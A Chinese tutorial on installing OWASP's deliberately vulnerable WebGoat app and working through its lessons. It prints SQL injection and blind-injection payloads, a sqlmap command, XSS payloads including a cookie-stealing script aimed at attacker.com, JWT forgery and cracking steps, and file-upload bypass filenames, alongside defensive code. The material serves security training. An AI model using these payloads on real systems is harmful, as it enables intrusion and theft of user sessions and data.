WebGoat 环境搭建及实战完全指南

WebGoat 环境搭建及实战完全指南

WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序,专门用于教学 Web 应用安全漏洞和防御技术。

📚 WebGoat 概述

官方地址https://github.com/WebGoat/WebGoat

特点

  • 完全免费开源
  • 包含 100+ 个安全漏洞练习
  • 每个课程都有详细指导
  • 支持多语言(包括中文)
  • 实时反馈和得分系统
  • 适合从初学者到专家的所有级别

🚀 环境搭建方法

方法1:使用 Docker(推荐)

# 1. 安装 Docker(如未安装)# Linuxsudoapt-get update sudoapt-getinstall docker.io docker-compose# 2. 拉取 WebGoat 镜像docker pull webgoat/webgoat # 3. 运行 WebGoat# 方式一:直接运行docker run -d-p8080:8080 -p9090:9090 -eTZ=Asia/Shanghai webgoat/webgoat # 方式二:使用 docker-compose(推荐)cat> docker-compose.yml <<'EOF' version: '3' services: webgoat: image: webgoat/webgoat:latest container_name: webgoat ports: - "8080:8080" - "9090:9090" environment: - TZ=Asia/Shanghai - WEBGOAT_HOST=0.0.0.0 restart: unless-stopped EOFdocker-compose up -d# 4. 验证安装dockerpscurl http://localhost:8080/WebGoat 

方法2:本地 Jar 包运行

# 1. 下载最新版本# 访问 https://github.com/WebGoat/WebGoat/releases# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar# 2. 运行 WebGoat(需要 Java 11+)java-jar webgoat-server-xx.x.x.jar --server.port=8080# 3. 运行 WebWolf(独立工具)java-jar webwolf-xx.x.x.jar --server.port=9090# 或者使用官方启动脚本git clone https://github.com/WebGoat/WebGoat.git cd WebGoat ./mvnw clean package java-jar webgoat-server/target/*.jar 

方法3:源代码编译运行

# 1. 克隆仓库git clone https://github.com/WebGoat/WebGoat.git cd WebGoat # 2. 编译(需要 Maven 和 Java 11+) ./mvnw clean compile # 3. 运行 ./mvnw spring-boot:run -pl webgoat-server # 4. 访问# WebGoat: http://localhost:8080/WebGoat# WebWolf: http://localhost:9090/WebWolf

方法4:使用 Kali Linux 预装版本

# Kali Linux 通常预装了 WebGoat# 启动 WebGoatservice webgoat start # 或者手动启动cd /usr/share/webgoat java-jar webgoat-server-*.jar # 访问:https://localhost:8080/WebGoat

🌐 访问和初始配置

# 默认访问地址 WebGoat: http://localhost:8080/WebGoat WebWolf: http://localhost:9090/WebWolf # 首次访问配置1. 打开浏览器访问 http://localhost:8080/WebGoat 2. 创建新用户或使用默认: - 用户名:webgoat - 密码:webgoat 3. 选择语言(支持中文) 4. 开始课程 

🎯 课程分类详解

WebGoat 课程分为多个类别,从易到难:

1. 通用漏洞系列

A1:注入漏洞 - SQL 注入(基础) - SQL 注入(进阶) - NoSQL 注入 - 命令注入 - XXE 注入 A2:失效的身份认证 - 身份认证绕过 - JWT 令牌安全 - 密码重置漏洞 - 安全提问绕过 A3:敏感数据泄露 - 不安全的加密 - 弱哈希算法 - JWT 密钥泄露 A7:跨站脚本(XSS) - 反射型 XSS - 存储型 XSS - DOM 型 XSS - 防御方法 A8:不安全的反序列化 - Java 反序列化 - 远程代码执行 

2. 高级漏洞系列

A4:外部实体(XXE) - XXE 读取文件 - XXE 盲注 - XXE 防御 A5:失效的访问控制 - 水平越权 - 垂直越权 - IDOR 漏洞 - JWT 篡改 A6:安全配置错误 - 目录遍历 - 敏感文件泄露 - 安全头部缺失 A9:使用含有已知漏洞的组件 - 依赖库漏洞 - 版本检测 

3. 挑战系列

WebWolf 挑战 - 文件上传绕过 - 邮件钓鱼 - 重定向漏洞 CTF 风格挑战 - 综合漏洞利用 - 多步骤攻击链 

🔍 实战演练:SQL 注入专题

练习1:基础 SQL 注入

-- 1. 访问 SQL Injection (intro)-- 课程位置:A1 → SQL Injection (intro)-- 2. 基础注入练习-- 输入:' OR '1'='1SELECT*FROM users WHERE name =''OR'1'='1';-- 3. 获取所有用户-- 输入:' OR 1=1 --SELECT*FROM users WHERE name =''OR1=1--';-- 4. 联合查询注入-- 输入:' UNION SELECT 1,2 --SELECT*FROM products WHERE name =''UNIONSELECT1,2--';-- 5. 获取数据库信息-- 输入:' UNION SELECT version(),database() --

练习2:盲注攻击

-- 1. 布尔盲注-- 判断数据库类型' AND (SELECT substring(version(),1,1))='5' -- -- 2. 时间盲注 -- MySQL:使用 sleep() 函数 'ANDIF(1=1,SLEEP(5),0)---- 3. 自动化工具使用# 使用 sqlmap sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \ --data="name=test" \--level=3 \--risk=2 \--dbs

练习3:SQL 注入防御

// 查看防御代码示例// 1. 使用预编译语句String sql ="SELECT * FROM users WHERE username = ?";PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username);// 2. 使用存储过程// 3. 输入验证和过滤// 4. 最小权限原则

🛠️ XSS 漏洞实战

反射型 XSS

// 1. 基础 payload<script>alert('XSS')</script>// 2. 绕过简单过滤<ScRiPt>alert('XSS')</ScRiPt><img src=x onerror=alert('XSS')>// 3. 窃取 Cookie<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>

存储型 XSS

// 1. 在评论中注入<iframe src="javascript:alert('XSS')">// 2. 结合 CSRF<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>

DOM 型 XSS

// 1. 利用 URL 片段http://target.com/#<script>alert('XSS')</script>// 2. 利用 innerHTML document.getElementById('content').innerHTML = userInput;// 防御:使用 textContent 代替

🔑 身份认证漏洞实战

JWT 令牌攻击

// 1. 解码 JWT// 使用 jwt.io 在线解码// 2. 无签名攻击(alg: none)// 修改 JWT 头部为 { "alg": "none" }// 删除签名部分// 3. 密钥爆破// 使用 hashcat hashcat -a 0-m 16500 jwt.txt wordlist.txt // 4. 密钥混淆攻击// 使用 HS256 但验证时使用 RS256

密码重置漏洞

# 1. 修改 Host 头 POST /reset-password HTTP/1.1 Host: attacker.com X-Forwarded-Host: attacker.com # 2. 密码重置令牌泄露 # 查看页面源码、JS文件、网络请求 # 3. 时间窗口攻击 # 快速使用重置链接 

📁 文件上传漏洞实战

绕过文件类型检查

# 1. 修改 Content-Type# 上传 PHP 文件,但 Content-Type: image/jpeg# 2. 双扩展名 shell.php.jpg shell.php%00.jpg # 3. 大小写绕过 shell.PhP shell.pHp5 # 4. 特殊字符 shell.php. shell.php空格 

WebWolf 文件上传挑战

# 1. 访问 WebWolf http://localhost:9090/WebWolf # 2. 上传恶意文件# 3. 使用重定向获取文件<img src="http://localhost:9090/files/your-file"># 4. 组合 XSS<iframe src="http://localhost:9090/files/steal-cookie.js">

🛡️ WebGoat 防御练习

输入验证防御

// 1. 白名单验证if(!input.matches("^[a-zA-Z0-9]+$")){thrownewValidationException("非法输入");}// 2. 输出编码String safeOutput =ESAPI.encoder().encodeForHTML(userInput);// 3. 使用安全框架// Spring Security 的 CSRF 保护// OWASP ESAPI 库

安全配置

# application.yml 安全配置security:headers:content-security-policy:"default-src 'self'"x-frame-options: DENY x-content-type-options: nosniff csrf:enabled:true

🔧 工具集成和自动化

Burp Suite 配置

# 1. 配置代理 Proxy → Options → Add -Bind to port:8081-Bind to address: 127.0.0.1 # 2. 浏览器设置代理# Firefox/Chrome: 127.0.0.1:8081# 3. 拦截 WebGoat 请求# 查看和修改请求/响应# 4. 使用 Intruder 爆破

OWASP ZAP 集成

# 1. 启动 ZAP zap.sh # 2. 配置上下文# 设置目标 URL: http://localhost:8080/WebGoat# 3. 自动扫描# 主动扫描和被动扫描# 4. 生成报告

📊 学习路径建议

阶段1:基础(1-2周)

1. SQL Injection (intro) - 3天 2. Cross-Site Scripting (XSS) - 3天 3. Path Traversal - 2天 4. Authentication Flaws - 2天 

阶段2:进阶(2-3周)

1. SQL Injection (advanced) - 4天 2. XXE Injection - 3天 3. JWT Tokens - 3天 4. Insecure Deserialization - 3天 

阶段3:综合(1-2周)

1. WebWolf Challenges - 全部完成 2. Secure Coding Lessons - 学习防御 3. 创建自己的漏洞环境 

💡 最佳实践和学习技巧

学习方法

1. **理论+实践结合** - 先理解漏洞原理 - 再动手实践 - 最后查看官方解法 2. **记笔记和思维导图** - 记录每个漏洞的原理 - 记录攻击步骤 - 记录防御方法 3. **使用多种工具** - 手动测试理解原理 - 使用工具提高效率 - 比较不同工具的效果 

调试技巧

// 1. 查看后端代码// WebGoat 是开源的,可以查看源代码理解逻辑// 2. 使用开发者工具// - F12 打开开发者工具// - Network 标签查看请求// - Console 执行 JavaScript// - Sources 查看前端代码// 3. 日志查看 # 查看 WebGoat 日志 docker logs webgoat # 或者运行时查看 java -jar webgoat-server.jar --debug 

🆘 故障排除

常见问题1:无法启动

# 检查 Java 版本(需要 Java 11+)java-version# 检查端口占用netstat-tlnp|grep8080# 或修改端口java-jar webgoat-server.jar --server.port=8081# Docker 容器问题docker logs webgoat-container docker-compose logs -f

常见问题2:课程无法完成

# 解决方法: 1. 仔细阅读题目描述 2. 查看页面源代码 3. 使用浏览器开发者工具 4. 查看网络请求 5. 参考官方文档 6. 使用 WebGoat 的提示功能 

常见问题3:性能问题

# 调整 JVM 参数java-Xms512m-Xmx1024m-jar webgoat-server.jar # Docker 资源限制docker run -d-m 1g --cpus="1.0" webgoat/webgoat 

📈 进阶学习资源

扩展工具

1. **SQLMap** - SQL 注入自动化 2. **XSStrike** - XSS 检测 3. **JWT_Tool** - JWT 攻击工具 4. **FFUF** - Web 目录爆破 5. **Nuclei** - 漏洞扫描 

相关项目

1. **WebGoat.NET** - .NET 版本 2. **DVWA** - 另一个漏洞环境 3. **bWAPP** - 包含更多漏洞类型 4. **Juice Shop** - 现代 Web 应用靶场 

认证和学习路径

1. **OWASP Top 10** - 掌握所有漏洞类型 2. **OSWE** - 高级 Web 渗透认证 3. **Burp Suite Certified Practitioner** - Burp 专业认证 

🎮 挑战任务

任务1:完成所有基础课程

目标:30天内完成所有 A1-A10 基础课程 奖励:深入理解 OWASP Top 10 

任务2:不查看源码完成挑战

目标:仅通过黑盒测试完成 WebWolf 挑战 奖励:提升实战测试能力 

任务3:编写自己的漏洞场景

目标:基于 WebGoat 框架开发一个新漏洞练习 奖励:深入理解漏洞原理和代码实现 

重要提醒

  1. WebGoat 仅在本地或授权环境中使用
  2. 学到的技术仅用于合法的安全测试
  3. 尊重他人隐私和系统安全
  4. 遵守网络安全法律法规

开始你的 WebGoat 之旅
从最简单的 SQL 注入开始,逐步挑战更复杂的漏洞类型。每个课程都是一次学习机会,失败不可怕,重要的是从中学到东西。祝你学习顺利!

Read more

详解常见排序

详解常见排序

目录 编辑 插入排序 希尔排序(缩小增量排序) 选择排序 冒泡排序 堆排序 快速排序 hoare版  挖坑法 前后指针法 非递归版 归并排序 递归版 非递归版 计数排序 声明:以下排序代码由Java实现!!! 插入排序 步骤: 1.我们可以认为数组的第一个元素已经被排好序,因此只需考虑对后面的元素进行插入排序; 2.取下一个位置的元素val,让它和它之前的元素进行比较,顺序为从右向左; 3.如果该元素大于val,则将该元素移动到该元素所处位置的下一个位置; 4.重复步骤3,知道找到已排好序的序列中小于等于val的元素; 5.将值val放到该位置的下一个位置,如果已排好序的所有元素的值都大于val,则将val存放到数组下标为0的位置; 6.重复2~5步骤。 动画演示: 代码如下: public static void insertSort(int[] array){ for(

By Ne0inhk
【保姆级】TrendRadar本地部署:告别算法推荐,打造个人专属AI热点情报局

【保姆级】TrendRadar本地部署:告别算法推荐,打造个人专属AI热点情报局

【保姆级】TrendRadar本地部署:告别算法推荐,打造个人专属AI热点情报局 摘要 本文基于 TrendRadar 项目,详细拆解如何通过 Docker 本地部署一套个人专属的 AI 热点情报系统。涵盖从环境准备、Docker 镜像拉取、局域网访问配置、飞书推送修复到 Cherry Studio MCP 服务对接的全流程。通过 Nvidia 免费模型 API,实现零成本的深度热点分析与趋势追踪。 关键词: TrendRadar, Docker部署, AI热点分析, MCP服务, Cherry Studio 1. 背景与需求:为什么我们需要 TrendRadar? 在这个大数据算法横行的时代,我们每天被头条、抖音等平台“投喂”大量信息,不仅容易陷入信息茧房,还浪费了大量时间筛选有效资讯。 我的核心需求很简单: 1. 拒绝算法绑架:需要一个个人定制化的新闻推送服务。 2.

By Ne0inhk
【强化学习】双延迟深度确定性策略梯度算法(TD3)详解

【强化学习】双延迟深度确定性策略梯度算法(TD3)详解

📢本篇文章是博主强化学习(RL)领域学习时,用于个人学习、研究或者欣赏使用,并基于博主对相关等领域的一些理解而记录的学习摘录和笔记,若有不当和侵权之处,指出后将会立即改正,还望谅解。文章分类在👉强化学习专栏:        【强化学习】- 【单智能体强化学习】(11)---《双延迟深度确定性策略梯度算法(TD3)详解》 双延迟深度确定性策略梯度算法(TD3)详解 目录 一、TD3算法的背景 二、TD3的背景 1.TD3的理论背景 2.DDPG的局限性 三、TD3算法的核心思想 1.双Critic网络(Twin Critics) 2.延迟更新(Delayed Policy Updates) 3.目标策略平滑(Target Policy Smoothing) 四、TD3算法详细讲解 1.

By Ne0inhk